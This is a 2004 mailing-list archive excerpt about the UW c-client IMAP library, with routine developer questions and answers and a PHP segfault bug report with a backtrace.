0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 22 Oct 2004, Ralf Utermann wrote: > I would also prefer the simple way -- my problem is that the users' homes > live in a filesystem with ticket based access (DCE/DFS) where the spam > tool has no access. You might be able to work around that with something like http://www-2.cs.cmu.edu/~help/afs/authenticating_daemons.html > You say, namespaces are not a good solution. Would it possible to > hardcode a special name for a directory into imapd, so that everything > starting with 'spamctl' would not map to file in the standard home, but > a different directory on a local filesystem? Sure. Look how the special name "INBOX" is handled in env_unix.c. I've been looking at doing something similar to map "Sent" and "Sent Items" to "sent-mail" (it's annoying how different programs have different defaults, and no one follows our directions to change them) but never actually put it in place. -- Rich Graves UNet Systems Administrator From pinedev@shivax2.cac.washington.edu Fri Oct 22 07:03:08 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 22 Oct 2004 07:03:08 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9ME38q5029555 for ; Fri, 22 Oct 2004 07:03:08 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9ME36ro028919 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 22 Oct 2004 07:03:07 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9ME32RL011186; Fri, 22 Oct 2004 07:03:02 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9ME23fO072932 for ; Fri, 22 Oct 2004 07:02:03 -0700 Received: from imo-d06.mx.aol.com (imo-d06.mx.aol.com [205.188.157.38]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9ME1XKd004889 for ; Fri, 22 Oct 2004 07:01:37 -0700 Received: from DavidDDaveg@aol.com by imo-d06.mx.aol.com (mail_out_v37_r3.8.) id f.1ad.29de05e6 (3858); Fri, 22 Oct 2004 10:01:28 -0400 (EDT) Message-Id: <1ad.29de05e6.2eaa6cb8@aol.com> Date: Fri, 22 Oct 2004 10:01:28 EDT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: DavidDDaveg@aol.com To: MRC@CAC.Washington.EDU Cc: c-client@u.washington.edu Subject: question about c-client MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="-----------------------------1098453688" X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __AOL_FROM 0, __BAT_BOUNDARY 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __CTYPE_MULTIPART_ALT 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __TAG_EXISTS_BODY 0, __TAG_EXISTS_HEAD 0, __TAG_EXISTS_HTML 0, __TAG_EXISTS_META 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -------------------------------1098453688 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Does c-client works synchronously or asynchronously , i.e. after sending a request to IMAP server host (e.g. mail_list(..)), will it be blocked until host sends the response to this request? or after it sends request it will return to the caller and host's response will be delivered to a listener/response handler? -------------------------------1098453688 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable
     
    Does c-client works synchronously or asynchronously , i.e. after sendin= g a=20 request to IMAP server host (e.g. mail_list(..)), will it be blocked until h= ost=20 sends the response to this request? or after it sends request it will return= to=20 the caller and host's response will be delivered to a listener/response=20 handler?
     
     
     -------------------------------1098453688-- From pinedev@shivax2.cac.washington.edu Tue Oct 26 06:47:20 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 26 Oct 2004 06:47:20 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9QDlKkq003988 for ; Tue, 26 Oct 2004 06:47:20 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9QDlJUw023419 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 26 Oct 2004 06:47:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9QDlARh015180; Tue, 26 Oct 2004 06:47:10 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9QDjX8o017582 for ; Tue, 26 Oct 2004 06:45:33 -0700 Received: from mail1.RZ.Uni-Augsburg.DE (mail1.RZ.Uni-Augsburg.DE [137.250.121.10]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9QDjUmj013091 for ; Tue, 26 Oct 2004 06:45:30 -0700 Received: from bernina.physik.uni-augsburg.de ([137.250.80.10]) by mail1.RZ.Uni-Augsburg.DE with esmtp (Exim 4.34) id 1CMRde-0006LE-PA; Tue, 26 Oct 2004 15:45:26 +0200 Received: from watzmann.physik.uni-augsburg.de ([137.250.80.192]) by bernina.Physik.Uni-Augsburg.DE with esmtp (Exim 4.30) id 1CMRde-000DKi-Pf; Tue, 26 Oct 2004 15:45:26 +0200 Message-Id: <417E54F6.1030306@Physik.Uni-Augsburg.DE> Date: Tue, 26 Oct 2004 15:45:26 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ralf Utermann To: Rich Graves Cc: c-client@u.washington.edu Subject: Re: adding a namespace for spam In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Accept-Language: en-us, en X-Enigmail-Version: 0.86.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Virus-Scanned: cf4356621ee50c666fd91ef8d51d6630 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Rich Graves wrote: > On Fri, 22 Oct 2004, Ralf Utermann wrote: > > >>I would also prefer the simple way -- my problem is that the users' homes >>live in a filesystem with ticket based access (DCE/DFS) where the spam >>tool has no access. > > > You might be able to work around that with something like > http://www-2.cs.cmu.edu/~help/afs/authenticating_daemons.html Looks interesting, but rebuilding this infrastructure for our DCE/DFS on AIX which is to be discontinued ... > [...] > > Sure. Look how the special name "INBOX" is handled in env_unix.c. > > I've been looking at doing something similar to map "Sent" and "Sent Items" > to "sent-mail" (it's annoying how different programs have different > defaults, and no one follows our directions to change them) but never > actually put it in place. Played around with this and basically this works, but how can the imap clients see the contents of this directory for subscribe operations? I can create mailboxes wich live in a separate directory, but how can I add this directory, so it's contents get listed for subscribe/unsubsribe? Thanks, Ralf -- Ralf Utermann _____________________________________________________________________ Universität Augsburg, Institut für Physik -- EDV-Betreuer Universitätsstr.1 D-86135 Augsburg Phone: +49-821-598-3231 SMTP: Ralf.Utermann@Physik.Uni-Augsburg.DE Fax: -3411 From pinedev@shivax2.cac.washington.edu Tue Oct 26 08:12:57 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 26 Oct 2004 08:12:57 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9QFCvmo006399 for ; Tue, 26 Oct 2004 08:12:57 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9QFCuo9026986 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 26 Oct 2004 08:12:56 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9QFCoU2018850; Tue, 26 Oct 2004 08:12:51 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9QFBHEE032318 for ; Tue, 26 Oct 2004 08:11:17 -0700 Received: from imo-m24.mx.aol.com (imo-m24.mx.aol.com [64.12.137.5]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9QFBGKc014209 for ; Tue, 26 Oct 2004 08:11:16 -0700 Received: from DavidDDaveg@aol.com by imo-m24.mx.aol.com (mail_out_v37_r3.8.) id d.e3.4b90378 (4320) for ; Tue, 26 Oct 2004 11:11:01 -0400 (EDT) Message-Id: Date: Tue, 26 Oct 2004 11:11:01 EDT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: DavidDDaveg@aol.com To: c-client@u.washington.edu Subject: questions about using c-client MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="-----------------------------1098803461" X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __AOL_FROM 0, __BAT_BOUNDARY 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __CTYPE_MULTIPART_ALT 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __TAG_EXISTS_BODY 0, __TAG_EXISTS_HEAD 0, __TAG_EXISTS_HTML 0, __TAG_EXISTS_META 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -------------------------------1098803461 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit - In the "internal.txt" there is a section of "Main Program Callbacks". If c-client is used for implementing a imap client, are all of the these mm_xxx callbacks required to be implemented, or could be selective? - My understanding for using c-client is: use mail_xxx to send request to host imap server, and result will be put into the "MAILSTREAM *stream" for that mail box. Is there documentation about how to extract the result for the interested request. i.e. listing sub folders; listing mails in the folders; -Is the member "unsigned long nmsgs; /* # of associated msgs */" of mail_stream represents all mails in this mailbox (including mails inside sub folders), or only top level mails? -In mail_stream: unsigned long nmsgs; /* # of associated msgs */ unsigned long recent; /* # of recent msgs */ Should they be same when that mailbox is open? - After did mail_open() for a mail box, the returned "stream" will represent this mail box. Will all of the consequent request against this mail box (i.e. mail_fetchstructure(); mail_recent();..) using same under line socket, or a new socket will be open for each request? -What is the difference between stream->tcpsi and stream->tcpso? Thanks for your help! -------------------------------1098803461 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable
     
    - In the "internal.txt" there is a section of "Main Program Callbacks".= If=20 c-client is used for implementing a imap client, are all of t= he=20 these mm_xxx callbacks required to be implemented, or could be selective?
     
    - My understanding for using c-client is:
    use mail_xxx to send request to host imap server, and result will be pu= t=20 into the "MAILSTREAM *stream" for that mail box. Is there documentation abou= t=20 how to extract the result for the interested request. i.e. listing sub folde= rs;=20 listing mails in the folders;
     
    -Is the member "unsigned long nmsgs;  /* # of associated msgs= */"=20 of mail_stream represents all mails in this mailbox (including mails inside=20= sub=20 folders), or only top level mails?
     
    -In mail_stream:
      unsigned long nmsgs;  /* # of associated msgs */
    &n= bsp;=20 unsigned long recent;   /* # of recent msgs */
    Should they be  same when that mailbox is open?
     
    - After did mail_open() for a mail box, the returned "stream"= =20 will represent this mail box. Will all of the consequent request against thi= s=20 mail box (i.e. mail_fetchstructure(); mail_recent();..) using same under lin= e=20 socket, or a new socket will be open for each request?
     
    -What is the difference between stream->tcpsi=20 and stream->tcpso?
     
    Thanks for your help!
     
     
     
     
     -------------------------------1098803461-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Oct 26 14:22:28 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 26 Oct 2004 14:22:28 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9QLMS3F020357 for ; Tue, 26 Oct 2004 14:22:28 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9QLMRIY016565 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 26 Oct 2004 14:22:27 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9QLMKRu014884; Tue, 26 Oct 2004 14:22:20 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9QLL21L072128 for ; Tue, 26 Oct 2004 14:21:02 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9QLL2vV024389 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 26 Oct 2004 14:21:02 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9QLL1uR006025; Tue, 26 Oct 2004 14:21:01 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9QLL1jM001821 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 26 Oct 2004 14:21:01 -0700 Message-Id: Date: Tue, 26 Oct 2004 14:18:59 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: DavidDDaveg@aol.com Cc: c-client@u.washington.edu Subject: Re: questions about using c-client In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 26 Oct 2004 DavidDDaveg@aol.com wrote: > - In the "internal.txt" there is a section of "Main Program Callbacks". If > c-client is used for implementing a imap client, are all of the these mm_xxx > callbacks required to be implemented, or could be selective? It is mandatory to implement all the callbacks. Look at the mtest, mailutil, and imapd programs to see what is required to be done in a callback. > - My understanding for using c-client is: > use mail_xxx to send request to host imap server, and result will be put > into the "MAILSTREAM *stream" for that mail box. Is there documentation about > how to extract the result for the interested request. i.e. listing sub folders; > listing mails in the folders; I strongly suggest that you read the specification of the IMAP protocol (RFC 3501) to understand how such things as wildcards work. You will understand c-client much better if you understand IMAP. > -Is the member "unsigned long nmsgs; /* # of associated msgs */" of > mail_stream represents all mails in this mailbox (including mails inside sub > folders), or only top level mails? The question is meaningless. A mailbox only has one level of messages. Any inferior-name mailbox (there is no such thing as "folder" in IMAP) is a separate mailbox. > -In mail_stream: > unsigned long nmsgs; /* # of associated msgs */ > unsigned long recent; /* # of recent msgs */ > Should they be same when that mailbox is open? The recent message count is completely different from the number of messages. Please read the IMAP specification. > - After did mail_open() for a mail box, the returned "stream" will represent > this mail box. Will all of the consequent request against this mail box > (i.e. mail_fetchstructure(); mail_recent();..) using same under line socket, or a > new socket will be open for each request? All operations on a particular MAILSTREAM use the same socket. > -What is the difference between stream->tcpsi and stream->tcpso? This is an internal detail which should not concern you. Some network technologies require separate sockets for input and output, such as when the socket is actually a pipe to another process. Since you will never access these values yourself (you will be dealing with a higher level abstaction such as MAILSTREAM, NETSTREAM, or TCPSTREAM) it doesn't matter what the code does internally. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Oct 27 08:30:45 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 27 Oct 2004 08:30:45 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9RFUjIT023662 for ; Wed, 27 Oct 2004 08:30:45 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9RFUhN4024312 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 27 Oct 2004 08:30:44 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9RFUVEw016796; Wed, 27 Oct 2004 08:30:32 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9RFSxPq056652 for ; Wed, 27 Oct 2004 08:28:59 -0700 Received: from skutsje.san.webweaving.org (skutsje.san.webweaving.org [209.132.96.45]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9RFSwON026621 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 27 Oct 2004 08:28:58 -0700 Received: from skutsje.san.webweaving.org (localhost [127.0.0.1]) by skutsje.san.webweaving.org (8.12.9/8.12.9) with ESMTP id i9RFRuFC023408 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 27 Oct 2004 08:27:56 -0700 (PDT) (envelope-from dirkx@webweaving.org) Received: from localhost (dirkx@localhost) by skutsje.san.webweaving.org (8.12.9/8.12.9/Submit) with ESMTP id i9RFRupN023405 for ; Wed, 27 Oct 2004 08:27:56 -0700 (PDT) (envelope-from dirkx@webweaving.org) Message-Id: <20041027082622.L16736@skutsje.san.webweaving.org> Date: Wed, 27 Oct 2004 08:27:56 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dirk-Willem van Gulik To: c-client@u.washington.edu Subject: plain text, login, squirrelmail, TLS and SSL MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: skutsje.san.webweaving.org: dirkx owned process doing -bs X-X-Sender: dirkx@skutsje.san.webweaving.org X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Just a reminder; I'd love to see: http://www.mail-archive.com/c-client@u.washington.edu/msg00925.html go in at some point :-) Just spend 30 minutes scratching my head why our webmail / squirrelmail could not log in in localhost. Dw -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Oct 27 10:15:52 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 27 Oct 2004 10:15:52 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9RHFqBh027652 for ; Wed, 27 Oct 2004 10:15:52 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9RHFnbe029539 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 27 Oct 2004 10:15:51 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9RHFdYf013944; Wed, 27 Oct 2004 10:15:40 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9RHE6vE122832 for ; Wed, 27 Oct 2004 10:14:06 -0700 Received: from followthemoney.org ([207.202.185.10]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9RHE5MY029966 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 27 Oct 2004 10:14:06 -0700 Received: from [67.171.129.182] (helo=localhost) by followthemoney.org with smtp (Exim 4.22) id 1CMrVW-0001Sl-CP for c-client@u.washington.edu; Wed, 27 Oct 2004 10:22:46 -0700 Message-Id: Date: Wed, 27 Oct 2004 10:17:47 -0700 Reply-To: mike@mikekrejci.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: mike@mikekrejci.com To: c-client@u.washington.edu Subject: C-Client error MIME-Version: 1.0 Content-Type: MULTIPART/mixed; BOUNDARY="-1421625727-1804289383-1098897467=:25303" X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN ---1421625727-1804289383-1098897467=:25303 Content-Type: TEXT/plain; CHARSET=US-ASCII I had a bug that I thought was a php error - but was not - and they said to send it into you - "I was able to verify the crash, however the crashing code is deep inside the c-client librrary and not in PHP. This is not a PHP bug, please report it to the c-client developers." - here is the backtrace - then I have the rest of the bug report that I sent into php - I am using IMAP-2004a. backtrace: #0 0x082c6f9c in rfc822_encode_body_7bit (env=0x84ec8a0, body=0x84ec940) at rfc822.c:1572 #1 0x082c6f9c in rfc822_encode_body_7bit (env=0x84ec8a0, body=0x84ec8e8) at rfc822.c:1572 #2 0x08149622 in zif_imap_mail_compose (ht=2, return_value=0x84ec884, this_ptr=0x0, return_value_used=1) at /home/tirk/Desktop/php-5.0.2/ext/imap/php_imap.c:3102 #3 0x080ec0de in zend_do_fcall_common_helper (execute_data=0xbfffce30, opline=0x84ebaa0, op_array=0x84e64f4) at /home/tirk/Desktop/php-5.0.2/Zend/zend_execute.c:2711 #4 0x080ec734 in zend_do_fcall_handler (execute_data=0xbfffce30, opline=0x84ebaa0, op_array=0x84e64f4) at /home/tirk/Desktop/php-5.0.2/Zend/zend_execute.c:2843 #5 0x080e902c in execute (op_array=0x84e64f4) at /home/tirk/Desktop/php-5.0.2/Zend/zend_execute.c:1400 #6 0x080cb2f5 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /home/tirk/Desktop/php-5.0.2/Zend/zend.c:1060 #7 0x0809655b in php_execute_script (primary_file=0xbffff1a0) at /home/tirk/Desktop/php-5.0.2/main/main.c:1629 #8 0x080f35d1 in apache_php_module_main (r=0x84d2e44, display_source_mode=0) at /home/tirk/Desktop/php-5.0.2/sapi/apache/sapi_apache.c:54 #9 0x0808cf85 in send_php () #10 0x0808cfef in send_parsed_php () #11 0x0827e0dd in ap_invoke_handler () #12 0x08292daf in process_request_internal () #13 0x08292e0e in ap_process_request () #14 0x08289e7f in child_main () #15 0x0828a027 in make_child () #16 0x0828a18d in startup_children () #17 0x0828a833 in standalone_main () #18 0x0828b051 in main () Description: ------------ If you make an error in your $body array for the imap_mail_compose rather then giving an error it creates a segmentation fault. The error in the code I have sent is that I have nested MULTIPARTs without the corresponding sections. Reproduce code: --------------- Expected result: ---------------- the following will be entered in your log file: [Tue Oct 26 12:01:38 2004] [notice] child pid 3282 exit signal Segmentation fault (11) Actual result: -------------- I do not have a backtrace available. [26 Oct 9:10pm CEST] derick@php.net Thank you for this bug report. To properly diagnose the problem, we need a backtrace to see what is happening behind the scenes. To find out how to generate a backtrace, please read http://bugs.php.net/bugs-generating-backtrace.php Once you have generated a backtrace, please submit it to this bug report and change the status back to "Open". Thank you for helping us make PHP better. [26 Oct 9:50pm CEST] mike at mikekrejci dot com backtrace: #0 0x082c6f9c in rfc822_encode_body_7bit (env=0x84ec8a0, body=0x84ec940) at rfc822.c:1572 #1 0x082c6f9c in rfc822_encode_body_7bit (env=0x84ec8a0, body=0x84ec8e8) at rfc822.c:1572 #2 0x08149622 in zif_imap_mail_compose (ht=2, return_value=0x84ec884, this_ptr=0x0, return_value_used=1) at /home/tirk/Desktop/php-5.0.2/ext/imap/php_imap.c:3102 #3 0x080ec0de in zend_do_fcall_common_helper (execute_data=0xbfffce30, opline=0x84ebaa0, op_array=0x84e64f4) at /home/tirk/Desktop/php-5.0.2/Zend/zend_execute.c:2711 #4 0x080ec734 in zend_do_fcall_handler (execute_data=0xbfffce30, opline=0x84ebaa0, op_array=0x84e64f4) at /home/tirk/Desktop/php-5.0.2/Zend/zend_execute.c:2843 #5 0x080e902c in execute (op_array=0x84e64f4) at /home/tirk/Desktop/php-5.0.2/Zend/zend_execute.c:1400 #6 0x080cb2f5 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /home/tirk/Desktop/php-5.0.2/Zend/zend.c:1060 #7 0x0809655b in php_execute_script (primary_file=0xbffff1a0) at /home/tirk/Desktop/php-5.0.2/main/main.c:1629 #8 0x080f35d1 in apache_php_module_main (r=0x84d2e44, display_source_mode=0) at /home/tirk/Desktop/php-5.0.2/sapi/apache/sapi_apache.c:54 #9 0x0808cf85 in send_php () #10 0x0808cfef in send_parsed_php () #11 0x0827e0dd in ap_invoke_handler () #12 0x08292daf in process_request_internal () #13 0x08292e0e in ap_process_request () #14 0x08289e7f in child_main () #15 0x0828a027 in make_child () #16 0x0828a18d in startup_children () #17 0x0828a833 in standalone_main () #18 0x0828b051 in main () [27 Oct 6:48pm CEST] iliaa@php.net Sorry, but your problem does not imply a bug in PHP itself. For a list of more appropriate places to ask for help using PHP, please visit http://www.php.net/support.php as this bug system is not the appropriate forum for asking support questions. Thank you for your interest in PHP. I was able to verify the crash, however the crashing code is deep inside the c-client librrary and not in PHP. This is not a PHP bug, please report it to the c-client developers. ========================================== Mike Krejci Riskopoly would be a great game - I won't pay your rent, I'll invade your hotel instead! ---1421625727-1804289383-1098897467=:25303-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Oct 27 14:05:39 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 27 Oct 2004 14:05:39 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9RL5dSK005195 for ; Wed, 27 Oct 2004 14:05:39 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9RL5cfG008692 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 27 Oct 2004 14:05:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9RL5SSC012466; Wed, 27 Oct 2004 14:05:28 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9RL4Re8036218 for ; Wed, 27 Oct 2004 14:04:27 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9RL4RX2025797 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 27 Oct 2004 14:04:27 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout2.cac.washington.edu 